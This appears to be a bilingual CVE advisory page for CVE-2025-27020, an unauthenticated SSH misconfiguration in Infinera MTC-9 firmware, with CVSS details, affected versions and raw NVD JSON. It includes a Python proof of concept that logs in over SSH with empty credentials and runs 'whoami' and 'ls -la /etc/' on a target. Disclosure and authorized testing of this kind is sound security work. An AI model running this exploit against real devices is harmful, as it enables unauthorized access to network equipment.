Security Vulnerability Report
中文
CVE-2025-27020 CVSS 9.8 CRITICAL

CVE-2025-27020

Published: 2025-12-08 10:16:01
Last Modified: 2025-12-22 18:55:35
Source: a6d3dc9e-0591-4a13-bce7-0f5b31ff6158

Description

Improper configuration of the SSH service in Infinera MTC-9 allows an unauthenticated attacker to execute arbitrary commands and access data on file system . This issue affects MTC-9: from R22.1.1.0275 before R23.0.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:nokia:infinera_mtc-9_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:nokia:infinera_mtc-9:-:*:*:*:*:*:*:* - NOT VULNERABLE
Infinera MTC-9 < R22.1.1.0275
Infinera MTC-9 R22.1.1.0275 到 R23.0(不含R23.0)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import sys # CVE-2025-27020 PoC - SSH Service Misconfiguration # Target: Infinera MTC-9 devices # Note: This PoC is for authorized security testing only def check_ssh_vulnerability(target_ip, port=22): """ Check if target SSH service accepts connection without authentication """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) result = sock.connect_ex((target_ip, port)) if result == 0: print(f"[+] SSH port {port} is open on {target_ip}") # Attempt to establish SSH connection try: import paramiko ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # Try connection without credentials ssh.connect(target_ip, port=port, username='', password='', timeout=10) print(f"[CRITICAL] Vulnerability confirmed - SSH allows unauthenticated access!") # Execute test command stdin, stdout, stderr = ssh.exec_command('whoami') output = stdout.read().decode() print(f"[+] Command output: {output.strip()}") # List files in /etc directory stdin, stdout, stderr = ssh.exec_command('ls -la /etc/') files = stdout.read().decode() print(f"[+] Files in /etc/:\n{files}") ssh.close() return True except Exception as e: print(f"[-] Connection attempt: {e}") else: print(f"[-] SSH port {port} is closed or filtered") sock.close() except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 22 print(f"[*] Scanning {target} for CVE-2025-27020...") check_ssh_vulnerability(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-27020", "sourceIdentifier": "a6d3dc9e-0591-4a13-bce7-0f5b31ff6158", "published": "2025-12-08T10:16:01.427", "lastModified": "2025-12-22T18:55:35.403", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper configuration of the SSH service in Infinera MTC-9 allows an unauthenticated attacker to execute arbitrary commands and access data on file system\n\n.\n\n\nThis issue affects MTC-9: from R22.1.1.0275 before R23.0."}], "metrics": {"cvssMetricV31": [{"source": "a6d3dc9e-0591-4a13-bce7-0f5b31ff6158", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "a6d3dc9e-0591-4a13-bce7-0f5b31ff6158", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:nokia:infinera_mtc-9_firmware:*:*:*:*:*:*:*:*", "versionStartIncluding": "22.1.1.0275", "versionEndExcluding": "23.0", "matchCriteriaId": "2C084211-7CFB-4149-BC00-609E29A3EF60"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:nokia:infinera_mtc-9:-:*:*:*:*:*:*:*", "matchCriteriaId": "48C75FDC-0C46-4EC4-BCC9-EBAD117A84FD"}]}]}], "references": [{"url": "https://www.cvcn.gov.it/cvcn/cve/CVE-2025-27020", "source": "a6d3dc9e-0591-4a13-bce7-0f5b31ff6158", "tags": ["Third Party Advisory"]}]}}